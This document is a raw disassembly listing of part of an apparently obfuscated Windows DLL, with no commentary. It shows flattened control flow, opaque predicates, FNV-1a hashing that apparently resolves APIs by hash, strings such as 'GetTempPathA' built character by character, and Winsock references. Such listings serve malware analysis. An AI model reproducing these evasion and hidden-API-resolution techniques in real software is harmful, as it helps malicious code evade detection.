cmp ecx, 0x75847964
je 0x18008395e
cmp ecx, 0x64823d8c
je 0x180083a79
cmp ecx, 0xff9fb55e
jne 0x180083900
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xb8], al
mov ecx, ebx
jmp 0x180083900
cmp ecx, 0xabbc78b9
je 0x180083965
cmp ecx, 0xf18f601f
jne 0x180083900
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180083900
mov ecx, 0x64823d8c
jmp 0x180083900
mov ecx, edx
jmp 0x180083900
cmp ecx, 0xfd8fe858
je 0x180088b6c
cmp ecx, 0x6b1a052f
jne 0x180083880
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0xe0]
mov ecx, 0x6b1a052f
mov eax, 0xfd8fe858
cmove ecx, eax
jmp 0x180083880
mov rcx, qword [rbp + 0xc8]
add rcx, 1
mov qword [rbp + 0xd8], rcx
mov dword [rbp + 0xa8], WSAStartup
mov qword [rbp + 0xf0], r14
mov ecx, dword [0x180129ca0]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl al
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop dword [rax + rax]
cmp ecx, 0xff9fb55d
jle 0x180083a50
cmp ecx, 0x75847964
je 0x180083a6e
cmp ecx, 0x64823d8c
je 0x180083ab3
cmp ecx, 0xff9fb55e
jne 0x180083a10
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xb8], al
mov ecx, ebx
jmp 0x180083a10
cmp ecx, 0xabbc78b9
je 0x180083a75
cmp ecx, 0xf18f601f
jne 0x180083a10
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180083a10
mov ecx, 0x64823d8c
jmp 0x180083a10
mov ecx, edx
jmp 0x180083a10
movsx eax, byte [rbp + 0xb8]
mov dword [rbp + 0xb8], eax
mov edx, 0x35d4fac2
nop dword [rax + rax]
cmp edx, 0xf22d6e9d
je 0x180083af7
cmp edx, 0x35d4fac2
jne 0x180083a90
mov ecx, dword [rbp + 0xa8]
xor ecx, dword [rbp + 0xb8]
mov edx, 0xf22d6e9d
jmp 0x180083a90
movsx eax, byte [rbp + 0xb8]
mov dword [rbp + 0xb8], eax
mov edx, 0x35d4fac2
nop word cs:[rax + rax]
nop
cmp edx, 0xf22d6e9d
je 0x180083bc9
cmp edx, 0x35d4fac2
jne 0x180083ad0
mov ecx, dword [rbp + 0xa8]
xor ecx, dword [rbp + 0xb8]
mov edx, 0xf22d6e9d
jmp 0x180083ad0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rdi + 1], al
mov dword [rbp + 0xa8], 0x41
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
nop
cmp ecx, 0xff9fb55d
jle 0x180083ba0
cmp ecx, 0x75847964
je 0x180083bbe
cmp ecx, 0x64823d8c
je 0x180083be8
cmp ecx, 0xff9fb55e
jne 0x180083b60
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xb8], al
mov ecx, ebx
jmp 0x180083b60
cmp ecx, 0xabbc78b9
je 0x180083bc5
cmp ecx, 0xf18f601f
jne 0x180083b60
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180083b60
mov ecx, 0x64823d8c
jmp 0x180083b60
mov ecx, edx
jmp 0x180083b60
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov rcx, qword [rbp + 0xd8]
mov byte [rcx], al
mov ecx, 0xfafbeadd
jmp 0x180083880
movsx eax, byte [rbp + 0xb8]
mov dword [rbp + 0xb8], eax
mov edx, 0x35d4fac2
nop word [rax + rax]
cmp edx, 0xf22d6e9d
je 0x180083c23
cmp edx, 0x35d4fac2
jne 0x180083c00
mov ecx, dword [rbp + 0xa8]
xor ecx, dword [rbp + 0xb8]
mov edx, 0xf22d6e9d
jmp 0x180083c00
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rdi + 2], al
add rdi, 3
mov rax, qword [rbp + 0xb0]
add rax, 0x14
mov qword [rbp + 0xe0], rax
mov ecx, 0x6b1a052f
jmp 0x180083880
sub rsp, 0x20
mov rcx, r14
call fcn.180093990
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0xcbf29ce484222325
jmp 0x180087fe0
mov edx, dword [rbp + 0xc8]
mov rdx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, 0x181b9de8
nop
cmp edx, 0xfe90a09b
jle 0x180088050
cmp edx, 0x333d8297
jle 0x1800880a0
cmp edx, 0x5cca55f4
jg 0x18008811a
cmp edx, 0x333d8298
je 0x1800881dd
cmp edx, 0x33ec62ab
je 0x1800881f6
cmp edx, 0x42d422e5
jne 0x180087fe0
mov dword [rbp + 0xb8], edi
mov edx, dword [rbp + 0xb8]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xa4], edx
mov edx, dword [rbp + 0xa4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov ebx, 0xfb306983
cmovge edx, ebx
jmp 0x180087fe0
cmp edx, 0xc5fd57a7
jle 0x1800880e0
cmp edx, 0xeb000b68
jg 0x18008814a
cmp edx, 0xc5fd57a8
je 0x180088207
cmp edx, 0xd1e81d16
je 0x180088216
cmp edx, 0xd597d4ff
jne 0x180087fe0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xec]
jmp 0x180087fe0
cmp edx, 0x12a1b9d7
jle 0x18008817c
cmp edx, 0x12a1b9d8
je 0x18008822f
cmp edx, 0x181b9de8
je 0x18008823e
cmp edx, 0x28ad3f39
jne 0x180087fe0
mov edx, 0x73f80f82
jmp 0x180087fe0
cmp edx, 0xb163ad29
jle 0x1800881ae
cmp edx, 0xb163ad2a
je 0x180088278
cmp edx, 0xb9d33223
je 0x1800882a5
cmp edx, 0xbb6ed30e
jne 0x180087fe0
mov edx, 0x12a1b9d8
jmp 0x180087fe0
cmp edx, 0x5cca55f5
je 0x1800882b6
cmp edx, 0x7343bfbc
je 0x180087f9b
cmp edx, 0x73f80f82
jne 0x180087fe0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180087fe0
cmp edx, 0xeb000b69
je 0x1800882cf
cmp edx, 0xfb306983
jne 0x180088346
mov edx, dword [rbp + 0xa4]
cmp edx, 0x7f
setl byte [rbp + 0xa3]
mov edx, 0x333d8298
jmp 0x180087fe0
cmp edx, 0xfe90a09c
je 0x1800882fa
cmp edx, 0x1dd0b01
jne 0x180087fe0
mov edx, dword [rbp + 0xd4]
cmp edx, 0x5b
setl byte [rbp + 0xc7]
mov edx, 0xd1e81d16
jmp 0x180087fe0
cmp edx, 0x87cbc1a8
je 0x18008832c
cmp edx, 0x9302de66
jne 0x180087fe0
mov rcx, qword [rbp + 0xe0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xa8]
jmp 0x180087fe0
cmp byte [rbp + 0xa3], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180087fe0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xe8]
jmp 0x180087fe0
mov dword [rbp + 0xc8], r10d
mov edx, r9d
jmp 0x180087fe0
cmp byte [rbp + 0xc7], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180087fe0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x180087fe0
movsxd rdx, dword [rbp + 0xc8]
xor rdx, qword [rbp + 0xf0]
movabs rbx, 0x100000001b3
imul rdx, rbx
mov qword [rbp + 0xe0], rdx
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xa8], edx
mov edx, r8d
jmp 0x180087fe0
mov dword [rbp + 0xb0], esi
mov qword [rbp + 0xf0], rcx
mov edx, dword [rbp + 0xb8]
mov ebx, dword [rbp + 0xb0]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180087fe0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xd4]
jmp 0x180087fe0
mov edx, dword [rbp + 0xb8]
add edx, 1
mov dword [rbp + 0xec], edx
mov edx, 0xd597d4ff
jmp 0x180087fe0
mov rdx, qword [rbp + 0xd8]
movsx edx, byte [rdx]
mov dword [rbp + 0xd4], edx
mov edx, dword [rbp + 0xd4]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180087fe0
mov edx, dword [rbp + 0xd4]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0xe8], edx
mov edx, 0x33ec62ab
jmp 0x180087fe0
mov edx, dword [rbp + 0xb0]
add rdx, rax
mov qword [rbp + 0xd8], rdx
mov edx, 0xeb000b69
jmp 0x180087fe0
cmp edx, 0xf6d6bd87
jne 0x180087fe0
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
lea rcx, [rbp + 0xdf0]
mov qword [rbp - 8], rcx
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov r8d, 0x400
call rax
add rsp, 0x20
mov eax, dword [0x180129cd8]
mov ecx, dword [0x180129cdc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xa8]
cmp ecx, 0xa
setl byte [rbp + 0xb8]
mov eax, 0xd51c8a55
jmp 0x1800883df
mov eax, dword [0x180129cd8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcee0292
mov ecx, 0xca99577b
cmove eax, ecx
cmp dword [0x180129cdc], 0xa
cmovl eax, ecx
cmp eax, 0xeaaca1a5
jle 0x180088500
cmp eax, 0x2109147b
jle 0x180088590
cmp eax, 0x2109147c
je 0x1800885e4
cmp eax, 0x22e29d51
je 0x180088604
cmp eax, 0x5c7d92e6
jne 0x1800883df
mov rax, qword [rbp + 0xd8]
movzx ecx, byte [rbp + 0xb0]
mov byte [rax], cl
mov rdi, qword [rbp + 0xd8]
sub rsp, 0x20
mov r8d, 1
mov rcx, r14
mov dl, 0x65
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov r8d, 2
mov rcx, r14
mov dl, 0x74
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov r8d, 3
mov rcx, r14
mov dl, 0x54
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov r8d, 4
mov rcx, r14
mov dl, 0x65
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov r8d, 5
mov rcx, r14
mov dl, 0x6d
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov r8d, 6
mov rcx, r14
mov dl, 0x70
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 6], al
sub rsp, 0x20
mov r8d, 7
mov rcx, r14
mov dl, 0x50
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 7], al
add rdi, 8
mov qword [rbp + 0xe0], rdi
mov eax, 0x22e29d51
jmp 0x1800883df
cmp eax, 0xd51c8a54
jle 0x1800885b0
cmp eax, 0xd51c8a55
je 0x18008869d
cmp eax, 0xe4429fc2
je 0x1800886c2
cmp eax, 0xe7d763ca
jne 0x1800883df
mov qword [rbp + 0xc8], r14
mov rax, qword [rbp + 0xc8]
mov byte [rax], 0x2a
mov rax, qword [rbp + 0xc8]
add rax, 1
mov qword [rbp + 0xd8], rax
sub rsp, 0x20
mov rcx, r14
mov dl, 0x47
xor r8d, r8d
call fcn.180098670
add rsp, 0x20
mov byte [rbp + 0xb0], al
mov eax, dword [0x180129cd8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeaaca1a6
mov ecx, 0xe4429fc2
jmp 0x1800883d2
cmp eax, 0xeaaca1a6
je 0x1800886cc
cmp eax, 0xcee0292
jne 0x1800886f2
mov eax, 0xca99577b
jmp 0x1800883df
cmp eax, 0x9d0d89b1
je 0x1800883b9
cmp eax, 0xca99577b
jne 0x1800883df
mov eax, dword [0x180129cd8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcee0292
mov ecx, 0xafb265d
jmp 0x1800883d2
mov byte [rsi], 0
add rsi, 1
cmp rsi, qword [rbp + 0xf0]
mov eax, 0x2109147c
mov ecx, 0x9d0d89b1
cmove eax, ecx
jmp 0x1800883df
sub rsp, 0x20
mov r8d, 8
mov rcx, r14
mov dl, 0x61
call fcn.180098670
add rsp, 0x20
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], al
mov rsi, qword [rbp + 0xe0]
sub rsp, 0x20
mov r8d, 9
mov rcx, r14
mov dl, 0x74
call fcn.180098670
add rsp, 0x20
mov byte [rsi + 1], al
sub rsp, 0x20
mov r8d, 0xa
mov rcx, r14
mov dl, 0x68
call fcn.180098670
add rsp, 0x20
mov byte [rsi + 2], al
sub rsp, 0x20
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, r14
mov dl, 0x41
call fcn.180098670
add rsp, 0x20
mov byte [rsi + 3], al
add rsi, 4
mov rax, qword [rbp + 0xc8]
add rax, 0xe
mov qword [rbp + 0xf0], rax
mov eax, 0x2109147c
jmp 0x1800883df
movzx ecx, byte [rbp + 0xa8]
cmp byte [rbp + 0xb8], 0
mov eax, 0xeaaca1a6
mov edx, 0xe7d763ca
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1800883df
mov eax, 0x5c7d92e6
jmp 0x1800883df
mov byte [rbp + 0x9b8], 0x2a
sub rsp, 0x20
mov rcx, r14
mov dl, 0x47
xor r8d, r8d
call fcn.180098670
add rsp, 0x20
mov eax, 0xe7d763ca
jmp 0x1800883df
cmp eax, 0xafb265d
jne 0x1800883df
sub rsp, 0x20
mov rcx, r14
call fcn.180093eb0
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0xcbf29ce484222325
jmp 0x1800887a0
mov edx, dword [rbp + 0xc8]
mov rdx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, 0x181b9de8
nop
cmp edx, 0xfe90a09b
jle 0x180088810
cmp edx, 0x333d8297
jle 0x180088860
cmp edx, 0x5cca55f4
jg 0x1800888da
cmp edx, 0x333d8298
je 0x18008899d
cmp edx, 0x33ec62ab
je 0x1800889b6
cmp edx, 0x42d422e5
jne 0x1800887a0
mov dword [rbp + 0xb8], edi
mov edx, dword [rbp + 0xb8]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xa4], edx
mov edx, dword [rbp + 0xa4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov ebx, 0xfb306983
cmovge edx, ebx
jmp 0x1800887a0
cmp edx, 0xc5fd57a7
jle 0x1800888a0
cmp edx, 0xeb000b68
jg 0x18008890a
cmp edx, 0xc5fd57a8
je 0x1800889c7
cmp edx, 0xd1e81d16
je 0x1800889d6
cmp edx, 0xd597d4ff
jne 0x1800887a0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xec]
jmp 0x1800887a0
cmp edx, 0x12a1b9d7
jle 0x18008893c
cmp edx, 0x12a1b9d8
je 0x1800889ef
cmp edx, 0x181b9de8
je 0x1800889fe
cmp edx, 0x28ad3f39
jne 0x1800887a0
mov edx, 0x73f80f82
jmp 0x1800887a0
cmp edx, 0xb163ad29
jle 0x18008896e
cmp edx, 0xb163ad2a
je 0x180088a38
cmp edx, 0xb9d33223
je 0x180088a65
cmp edx, 0xbb6ed30e
jne 0x1800887a0
mov edx, 0x12a1b9d8
jmp 0x1800887a0
cmp edx, 0x5cca55f5
je 0x180088a76
cmp edx, 0x7343bfbc
je 0x18008875a
cmp edx, 0x73f80f82
jne 0x1800887a0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x1800887a0
cmp edx, 0xeb000b69
je 0x180088a8f
cmp edx, 0xfb306983
jne 0x180088b06
mov edx, dword [rbp + 0xa4]
cmp edx, 0x7f
setl byte [rbp + 0xa3]
mov edx, 0x333d8298
jmp 0x1800887a0
cmp edx, 0xfe90a09c
je 0x180088aba
cmp edx, 0x1dd0b01
jne 0x1800887a0
mov edx, dword [rbp + 0xd4]
cmp edx, 0x5b
setl byte [rbp + 0xc7]
mov edx, 0xd1e81d16
jmp 0x1800887a0
cmp edx, 0x87cbc1a8
je 0x180088aec
cmp edx, 0x9302de66
jne 0x1800887a0
mov rcx, qword [rbp + 0xe0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xa8]
jmp 0x1800887a0
cmp byte [rbp + 0xa3], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x1800887a0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xe8]
jmp 0x1800887a0
mov dword [rbp + 0xc8], r10d
mov edx, r9d
jmp 0x1800887a0
cmp byte [rbp + 0xc7], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x1800887a0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x1800887a0
movsxd rdx, dword [rbp + 0xc8]
xor rdx, qword [rbp + 0xf0]
movabs rbx, 0x100000001b3
imul rdx, rbx
mov qword [rbp + 0xe0], rdx
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xa8], edx
mov edx, r8d
jmp 0x1800887a0
mov dword [rbp + 0xb0], esi
mov qword [rbp + 0xf0], rcx
mov edx, dword [rbp + 0xb8]
mov ebx, dword [rbp + 0xb0]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x1800887a0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xd4]
jmp 0x1800887a0
mov edx, dword [rbp + 0xb8]
add edx, 1
mov dword [rbp + 0xec], edx
mov edx, 0xd597d4ff
jmp 0x1800887a0
mov rdx, qword [rbp + 0xd8]
movsx edx, byte [rdx]
mov dword [rbp + 0xd4], edx
mov edx, dword [rbp + 0xd4]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x1800887a0
mov edx, dword [rbp + 0xd4]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0xe8], edx
mov edx, 0x33ec62ab
jmp 0x1800887a0
mov edx, dword [rbp + 0xb0]
add rdx, rax
mov qword [rbp + 0xd8], rdx
mov edx, 0xeb000b69
jmp 0x1800887a0
cmp edx, 0xf6d6bd87
jne 0x1800887a0
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
lea rcx, [rbp + 0x9f0]
mov qword [rbp + 0x50], rcx
mov rdx, qword [rbp + 0x50]
sub rsp, 0x20
mov ecx, 0x400
call rax
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov eax, dword [0x180129820]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9424e835
mov ecx, 0xd5c86b14
jmp 0x180074cc3
sub rsp, 0x20
mov rcx, r14
call fcn.180093990
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0xcbf29ce484222325
jmp 0x180088c10
mov edx, dword [rbp + 0xc8]
mov rdx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, 0x181b9de8
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x180088c80
cmp edx, 0x333d8297
jle 0x180088cd0
cmp edx, 0x5cca55f4
jg 0x180088d4a
cmp edx, 0x333d8298
je 0x180088e0d
cmp edx, 0x33ec62ab
je 0x180088e26
cmp edx, 0x42d422e5
jne 0x180088c10
mov dword [rbp + 0xb8], edi
mov edx, dword [rbp + 0xb8]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xa4], edx
mov edx, dword [rbp + 0xa4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov ebx, 0xfb306983
cmovge edx, ebx
jmp 0x180088c10
cmp edx, 0xc5fd57a7
jle 0x180088d10
cmp edx, 0xeb000b68
jg 0x180088d7a
cmp edx, 0xc5fd57a8
je 0x180088e37
cmp edx, 0xd1e81d16
je 0x180088e46
cmp edx, 0xd597d4ff
jne 0x180088c10
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xec]
jmp 0x180088c10
cmp edx, 0x12a1b9d7
jle 0x180088dac
cmp edx, 0x12a1b9d8
je 0x180088e5f
cmp edx, 0x181b9de8
je 0x180088e6e
cmp edx, 0x28ad3f39
jne 0x180088c10
mov edx, 0x73f80f82
jmp 0x180088c10
cmp edx, 0xb163ad29
jle 0x180088dde
cmp edx, 0xb163ad2a
je 0x180088ea8
cmp edx, 0xb9d33223
je 0x180088ed5
cmp edx, 0xbb6ed30e
jne 0x180088c10
mov edx, 0x12a1b9d8
jmp 0x180088c10
cmp edx, 0x5cca55f5
je 0x180088ee6
cmp edx, 0x7343bfbc
je 0x180088bc9
cmp edx, 0x73f80f82
jne 0x180088c10
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180088c10
cmp edx, 0xeb000b69
je 0x180088eff
cmp edx, 0xfb306983
jne 0x180088f76
mov edx, dword [rbp + 0xa4]
cmp edx, 0x7f
setl byte [rbp + 0xa3]
mov edx, 0x333d8298
jmp 0x180088c10
cmp edx, 0xfe90a09c
je 0x180088f2a
cmp edx, 0x1dd0b01
jne 0x180088c10
mov edx, dword [rbp + 0xd4]
cmp edx, 0x5b
setl byte [rbp + 0xc7]
mov edx, 0xd1e81d16
jmp 0x180088c10
cmp edx, 0x87cbc1a8
je 0x180088f5c
cmp edx, 0x9302de66
jne 0x180088c10
mov rcx, qword [rbp + 0xe0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xa8]
jmp 0x180088c10
cmp byte [rbp + 0xa3], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180088c10
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xe8]
jmp 0x180088c10
mov dword [rbp + 0xc8], r10d
mov edx, r9d
jmp 0x180088c10
cmp byte [rbp + 0xc7], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180088c10
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x180088c10
movsxd rdx, dword [rbp + 0xc8]
xor rdx, qword [rbp + 0xf0]
movabs rbx, 0x100000001b3
imul rdx, rbx
mov qword [rbp + 0xe0], rdx
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xa8], edx
mov edx, r8d
jmp 0x180088c10
mov dword [rbp + 0xb0], esi
mov qword [rbp + 0xf0], rcx
mov edx, dword [rbp + 0xb8]
mov ebx, dword [rbp + 0xb0]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180088c10
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xd4]
jmp 0x180088c10
mov edx, dword [rbp + 0xb8]
add edx, 1
mov dword [rbp + 0xec], edx
mov edx, 0xd597d4ff
jmp 0x180088c10
mov rdx, qword [rbp + 0xd8]
movsx edx, byte [rdx]
mov dword [rbp + 0xd4], edx
mov edx, dword [rbp + 0xd4]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180088c10
mov edx, dword [rbp + 0xd4]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0xe8], edx
mov edx, 0x33ec62ab
jmp 0x180088c10
mov edx, dword [rbp + 0xb0]
add rdx, rax
mov qword [rbp + 0xd8], rdx
mov edx, 0xeb000b69
jmp 0x180088c10
cmp edx, 0xf6d6bd87
jne 0x180088c10
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
sub rsp, 0x20
lea rdx, [rbp + 0xdf0]
mov r8d, 0x400
call rax
add rsp, 0x20
mov eax, dword [0x180129cd8]
mov ecx, dword [0x180129cdc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xa8]
cmp ecx, 0xa
setl byte [rbp + 0xb8]
mov eax, 0xd51c8a55
jmp 0x180089007
mov eax, dword [0x180129cd8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcee0292
mov ecx, 0xca99577b
cmove eax, ecx
cmp dword [0x180129cdc], 0xa
cmovl eax, ecx
cmp eax, 0xeaaca1a5
jle 0x180089130
cmp eax, 0x2109147b
jle 0x1800891c0
cmp eax, 0x2109147c
je 0x180089214
cmp eax, 0x22e29d51
je 0x180089234
cmp eax, 0x5c7d92e6
jne 0x180089007
mov rax, qword [rbp + 0xd8]
movzx ecx, byte [rbp + 0xb0]
mov byte [rax], cl
mov rdi, qword [rbp + 0xd8]
sub rsp, 0x20
mov r8d, 1
mov rcx, r14
mov dl, 0x65
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov r8d, 2
mov rcx, r14
mov dl, 0x74
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov r8d, 3
mov rcx, r14
mov dl, 0x54
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov r8d, 4
mov rcx, r14
mov dl, 0x65
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov r8d, 5
mov rcx, r14
mov dl, 0x6d
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov r8d, 6
mov rcx, r14
mov dl, 0x70
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 6], al
sub rsp, 0x20
mov r8d, 7
mov rcx, r14
mov dl, 0x50
call fcn.180098670
add rsp, 0x20
mov byte [rdi + 7], al
add rdi, 8
mov qword [rbp + 0xe0], rdi
mov eax, 0x22e29d51
jmp 0x180089007
cmp eax, 0xd51c8a54
jle 0x1800891e0
cmp eax, 0xd51c8a55
je 0x1800892cd
cmp eax, 0xe4429fc2
je 0x1800892f2
cmp eax, 0xe7d763ca
jne 0x180089007
mov qword [rbp + 0xc8], r14
mov rax, qword [rbp + 0xc8]
mov byte [rax], 0x2a
mov rax, qword [rbp + 0xc8]
add rax, 1
mov qword [rbp + 0xd8], rax
sub rsp, 0x20
mov rcx, r14
mov dl, 0x47
xor r8d, r8d
call fcn.180098670
add rsp, 0x20
mov byte [rbp + 0xb0], al
mov eax, dword [0x180129cd8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeaaca1a6
mov ecx, 0xe4429fc2
jmp 0x180088ffa
cmp eax, 0xeaaca1a6
je 0x1800892fc
cmp eax, 0xcee0292
jne 0x180089322
mov eax, 0xca99577b
jmp 0x180089007
cmp eax, 0x9d0d89b1
